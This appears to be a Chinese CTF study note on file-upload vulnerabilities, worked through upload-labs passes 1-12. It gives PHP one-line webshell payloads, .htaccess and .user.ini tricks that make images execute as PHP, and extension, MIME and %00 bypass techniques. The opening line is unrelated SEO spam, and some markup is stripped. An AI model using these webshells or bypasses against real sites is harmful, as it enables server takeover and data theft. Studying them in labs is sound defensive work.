做结婚请柬网站有那些,做网店哪个网站好,提供零基础网站建设教学在哪里,seo网络培训班笔记目录 CTF-Web(2)SQL注入CTF-Web(3)文件上传漏洞 1.WebShell介绍 (1)一句话木马定义 一种网页后门#xff0c;以asp、php、jsp等网页文件形式存在的一种命令执行环境#xff0c;而 一句话木马往往只有一行WebShell代码。 作用#xff1a; 攻击获得网站控制权限 查看、修改… 笔记目录 CTF-Web(2)SQL注入CTF-Web(3)文件上传漏洞 1.WebShell介绍 (1)一句话木马定义 一种网页后门以asp、php、jsp等网页文件形式存在的一种命令执行环境而 一句话木马往往只有一行WebShell代码。 作用 攻击获得网站控制权限 查看、修改、删除网站数据 通过提权漏洞可获得主机权限 (2)一句话木马工作原理 eval函数把字符串按照PHP代码执行该字符串必须是合法的PHP代码且必须以分号结尾。 $_POSTPHP超全局变量$_GET和$_POST用于收集表单数据。 (3)一句话木马多整理防止被过滤运行不成功 ①基础版 ?php eval($_GET[cmd]); ? ②替代版 ?php eval($_REQUEST[cmd]);? ③防过滤版 script languagephpeval($_POST[cmd]);/script 【精选】PHP一句话木马集合_思源湖的鱼的博客-CSDN博客 2.文件上传漏洞介绍 (1)原理 由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型导致攻击者能够向某个可通过 Web 访问的目录上传恶意文件并被脚本解析器执行这样就可以在远程服务器上执行恶意脚本 (2)文件上传流程 ①A 客户端javascript 检测 ( 客户端通常检测扩展名) ②B 服务端MIME 类型检测 (请求Content-Type 内容) ③C 服务端目录路径检测 (检测跟path 参数相关的内容) ④D 服务端文件扩展名检测(检测跟文件extension 相关的内容) ⑤E 服务端文件内容检测检测内容是否合法如检测十六进制内容) (3)漏洞分类 注如果随便上传奇怪文件后缀不允许上传为文件白名单(只允许几种后缀通过)否则为黑名单 (只允许几种后缀不通过) (4)漏洞类型判断流程 3.漏洞分类upload-labs靶场 (1)JS前端验证突破pass-01 ①原理 如客户端上传文件时可能现在本地JS验证文件类型是否正确再上传 ②攻击方式 抓包修改文件名 (2)MIME验证实例pass-02 ①原理 服务端对上传文件的Content-Type类型进行检测判断 是否在 白名单规定内 ②攻击方式 抓包修改Content-type类型 注意文件后缀名变更可能需要修改Content-Type类型否则 (3)黑名单--特殊后缀名pass-03 ①原理 服务端对上传文件名后缀进行检测判断 是否为禁止文件类型 ②攻击方式 文件后缀名字典攻击 ASP语言类.asa .cer .cdx PHP语言类: .php3 .php4 .php5 .phtml .net语言类.ashx jsp语言类jspx jspf (4)黑名单--.htaccesspass-04 ①原理 htaccess文件(或者分布式配置文件提供了针对目录改变配置的方法 ②攻击方式 上传htaccess文件 FilesMatch jpg ###如所有jpg文件解析为php文件 setHandler application/x-httpd-php /FilesMatch (5)黑名单-- .user.inipass-05 ①原理 php5.3版支持.ini代替.htaccess 此类文件仅被 CGIFastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里则用 .htaccess 文件有同样效果。 除了主 php.ini 之外PHP 还会在每个目录下扫描 INI 文件从被执行的PHP 文件所在目录开始一直上升到 web 根目录$_SERVER[DOCUMENT_ROOT] 所指定的。如果被执行的 PHP 文件在 web 根目录之外则只扫描该目录。 ②攻击方式 首先构造.user.ini文件因为.htaccess在黑名单 auto_prepend_filea.jpg 然后构造jpgGIF89a 后期有题目过滤内容 此时执行其他php代码都会执行a.jpg内容 GIF89a
script languagephpecho a.jpg success; eval($_POST[pass]);/script 【当.user.ini不在白名单中无法上传】 首先构造.user.ini文件 GIF89a
auto_prepend_filea.jpg 将 Content-Type: application/octet-stream 修改为 Content-Type: image/jpg 最后上传图片代码 (6)文件名绕过 ① .[空格]. .后缀名 .[空格]. 最后只剩下.php仅适用于windows系统 ②大小写绕过 pass-06 限Linux ③黑名单-加空格 pass-07 限windows 代码没有对空格过滤可利用windows系统特性最终上传的文件被去掉了空格 ④黑名单-加点 pass-08 由于没有代码 $file_name deldot($file_name);//删除文件名末尾的点因此可加点 ⑤黑名单-双写绕过 pass-11 此处将黑名单文件替换为空字符串 php → pphphp ⑥黑名单-数据流 pass-09 没有代码 $file_ext str_ireplace(::$DATA, , $file_ext); //去除字符串::$DATA 文件名后加 ::$DATA 标识 访问时去掉标识即可 (7)白名单-%00截断null(GET) pass-12待实现 原理URL遇到%00自动丢弃 %00后面字符因为%00 url解码为null 此处白名单检测只允许上传jpg,png,gif格式的文件。 但是上传路径是可以控制的可以使用%00 截断。 更改地址栏中的上传路径将后面处理过的文件名进行截断。只能用于php版本低于5.3的。 (8)文件头请求 思路首先上传一张简单的图片然后抓包修改文件名后缀php并在文件内注入木马修改文件名添加代码。 如果能上传则成功